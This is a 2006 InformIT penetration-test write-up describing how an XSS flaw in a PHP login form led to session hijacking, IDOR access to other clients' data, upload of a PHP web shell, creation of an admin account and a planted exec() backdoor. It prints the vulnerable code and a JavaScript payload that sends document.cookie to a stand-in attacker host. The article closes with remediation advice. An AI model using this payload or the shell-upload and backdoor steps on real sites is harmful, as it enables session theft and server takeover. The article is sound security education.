InformIT

XSS, Cookies, and Session ID Authentication – Three Ingredients for a Successful Hack

Date: Aug 11, 2006

Return to the article

Cross site scripting (XSS) errors are generally considered nothing more than a nuisance — most people do not realize the inherent danger these types of bugs create. In this article Seth Fogie looks at a real life XSS attack and how it was used to bypass the authentication scheme of an online web application, leading to "shell" access to the web server.

Cross site scripting (XSS) attacks are often seen as a powerless hack. While this is true in some cases, for the most part the impact of an XSS vulnerability is left up to the imagination and talent of the attacker. In this article I am going to look at a real-life XSS attack and how it was used to bypass the authentication scheme of an online web application I was asked to test. In this case, the XSS resulted led to "shell" access to the web server — anything but harmless.

The XSS Vulnerability

The target in question had a user/password entry screen, which is fairly standard as far as web applications go. Figure 1 provides a screen shot of this window. However, what you do not see is the code behind the login process. The following provides the actual code used to verify the user account data:

1. if (isset($HTTP_POST_VARS[’email’])){
2.  $email = $HTTP_POST_VARS[’email’];
3.  $password = $HTTP_POST_VARS[’password’];
4.  $go = true;
}
5. if ($go == true){
6.  if ($error == false){
7. if (check_email_address($email)) {
8.     $error = false;
9.    }else {
10.      $error = $email . ’ is not a valid email address.’;
11.    }
12. }
Figure 1

Figure 1: User authentication interface

As illustrated, the code put an unfiltered "$email" into an $error message (line 10) after a check_email_address function rejects the input. Unfortunately, the same $error message was then printed out onto the page, thus allowing an attacker to inject pretty much anything they want right into the content of the webpage — including JavaScript code.

echo ’<font color="red" size="3">’ . $error . ’</font>’;

Keeping this "feature" in mind, I next took a look at the program and noticed that it was using the PHP Session ID value and storing it in a cookie on the user’s PC. Knowing that this cookie information can be called forth by a simple JavaScript command (i.e. document.cookie), I prepared a small piece of code that would read the cookie and then forward that information to a waiting server that would store the data for later retrieval. The actual code is as follows:

var cookieData=document.cookie;
location.href="http://www.evilsite.com/cookie.php?cookie="+cookieData;

As if fate wanted to make it challenging, the maximum size of the HTML input field for the email address was 25 characters, and it only accepted POST data, which is somewhat limiting. As a result, I had to "outsource" my cross-site scripting attack to a third server. The end result was that I had to make a user click on a link that first took the victim to my server. From there, the code on my server directed the victim to the web application with a POST value that included the XSS code, which was then fed into the login script. Finally, the above JavaScript was output into the login page. Once the JavaScript executed, the cookie data was passed back to the third party server, which captured that cookie value, stored it, and redirected the victim back to the real server where they would again be presented with the real and unaltered login page. Since all this happened in a matter of a second, only an educated and knowledgeable user would notice anything out of the ordinary.

At this point in the attack, I now owned a valid PHP Session ID value that was used in the next stage of the attack.

Using (and Abusing) Session IDs

Once my victim had fallen prey to the XSS attack, I had all the information I needed to access the site. Now I just needed to put this information to good use to see how far it would take me.

There are several tools available that make web application testing much easier. One of these is called Burp, which is available from http://portswigger.net. This program is a Java-based proxy that you can use to control your web traffic. It includes a scanner, repeater, proxy, and even a fuzzer that can quickly find flaws and expose bugs in a program. I used it to intercept a web request and overwrite the session ID value with the captured one, which allowed us access to the site.

To do this, I viewed the captured value (i.e. 810fcb55ded4c14f75a8a1b8807266b3) and then loaded up Firefox and changed the Connection Setting under Tools — Options — General tab. In this screen, I added an HTTP Proxy value of 127.0.0.1 and port 8080, the default for Burp. Next I executed Burp, waited for it to load, and directed the browser to http://targetsite.com/index.php. Figure 2 illustrates what happens in Burp and how easy it is to overwrite a session ID value. Once the value was overwritten, I disabled the intercept feature and hit the Forward button. At this point, I was given access to the client portion of the application, as Figure 3 highlights.

Figure 2

Figure 2: Burp in action

Figure 3

Figure 3: Inside the client application

Owning the Client Portion of the Application

I then poked around a bit and took mental notes of what the application did and didn't do. I also kept the Burp proxy running to ensure I would have a record of each form value passed behind the scenes.

Since the program is a website management application, I created a new Website Update and quickly noticed that each and every form field was also vulnerable to XSS attacks. This is important to note because there are three levels of security in the program: admin, staff, and client. Knowing the dangers of the session ID, it would be very easy to insert a malicious update that contained the same cookie capturing code used to gain access to the application. Then when an administrator viewed that update, I would be provided their session ID value and granted administrator rights. However, there were other ways to gain access to administrator rights — as I learned.

During the update, I noticed something that piqued my interest: in the Pending Updates section of the application, there is a list of all the updates that need to be completed. When an update is selected and loaded, the URL reads something like this:

http://client.targetsite.com/view_detail.php?update=42

I took a chance and tried a different update number (i.e. update=36). Sure enough, via a simple URL change I was able to see and update another client's data. Given my previously illustrated XSS attacks, I now knew I could insert an XSS attack and blame it on an innocent client, as well as attack other clients via their own Pending Update list. Things were staring to get interesting!

Owning the Site

During the review of the New Website Update feature, I also noticed a small form box at the bottom of the page labeled "upload." I suspected that this was to allow the client to upload an image or document to the server for further review, but wondered if it would also accept other files, such as PHP scripts and the like. To test this out, I created a test.php file with a basic echo command and uploaded it to the server. Using the View Pending Updates option, I took a look to see where this file was uploaded (as illustrated in Figure 4) and clicked on the link. Sure enough, my PHP file executed.

Figure 4

Figure 4: Update screen window

At this point the options were endless. If I could upload a script, I could own the server. However, I took the simple non-intrusive non-exploit road and used a PHP script called PHP-Terminal, which is basically an emulator that gives the user "shell" access via a web browser. The limitations were only that the access is the same as the web application, thus I couldn’t add users and the like. However, my target was the application — not the server.

Once I uploaded this file (after making a few changes to the PHP code), I was granted access to the server. I changed directory up a few levels, listed the contents of the directory, and noticed that there were a lot more files than just the ones I had used (see Figure 5). I tried to load a few of them in the browser and received permission error messages on most, but then I hit paydirt — create_admin.php. Figure 6 illustrates what I had found.

Figure 5

Figure 5: PHP-Terminal

Figure 6

Figure 6: Create_admin.php windows

That's right. I had found a file that allowed me to create an administrator, which I tested and was happy to learn that it worked. Using my new credentials I logged in and found I had full control over the application. Figure 7 shows the administrator screen.

Figure 7

Figure 7: Administration area screen

The Rest of the Details

Given that I had full control over the application, the game was basically over. However, it is always good to clean up with a few more tidbits of information. So, I poked around and found a file called db.php, which contained the database connection string with user/pass (see Figure 8). To ensure my continued access, or at least show I could maintain control, I created a small script that would dump the database using these credentials to a file of my choice. I also left behind a phpterm.php script in a "safe" location to give me quick access to a shell if I need it later, and added a small backdoor into the index.php script that would allow me to execute commands on the server via the exec() function. With all this "enhancements" in place, I then prepared the report and went to talk with the web developers.

Figure 8

Figure 8: db_php.php details

The Fixes

There are a few things that the web developers could do to help prevent these types of attacks. First, all form fields should be filtered to prevent XSS attacks. This is typically as simple as filtering just the "<" and ">" characters, but can be extended beyond that to also include "&*^%%$#@!(){}[]\|';:/?.,>". The point is to think about what characters are actually needed. Second, a user should never be allowed to upload a file that could be executed on the server. In other words, an upload script should be limited to just those files that are necessary for business. In addition to this, I would suggest uploading files to a non-executable directory on the webserver (e.g. /home/files vs. /home/www/files).

Finally, any and all PHP files that are located on a server MUST be controlled and limited to those users who actually need them. Leaving the create_admin.php file open for execution is just asking for attack.

The final suggestion is to avoid the use of a cookie for the storage of sensitive data. It only takes one browser vulnerability or XSS bug to give an attacker all they need to access this data, which will subvert your protection. The best idea is to use encrypted hidden form fields based on something unique about the user or what the user knows. This can make a program much more complex, but the added security is worth it.

Summary

In this article I took a look at a real web application programmed by a real PHP developer. As is the case with many developers, the concept of XSS was something the developer had never heard of. While the idea was something they could quickly grasp and correct, the simple fact that a form field could be used to execute code as easily as it could be used to store information never crossed their mind. Fortunately, I knew both the developer and the owner of the website and was able to point out the deficiencies of the code and provide solutions to help keep the website secure from would-be hackers. Lets hope that all developers know someone who has at least as much as, if not more, knowledge of security as me!

800 East 96th Street, Indianapolis, Indiana 46240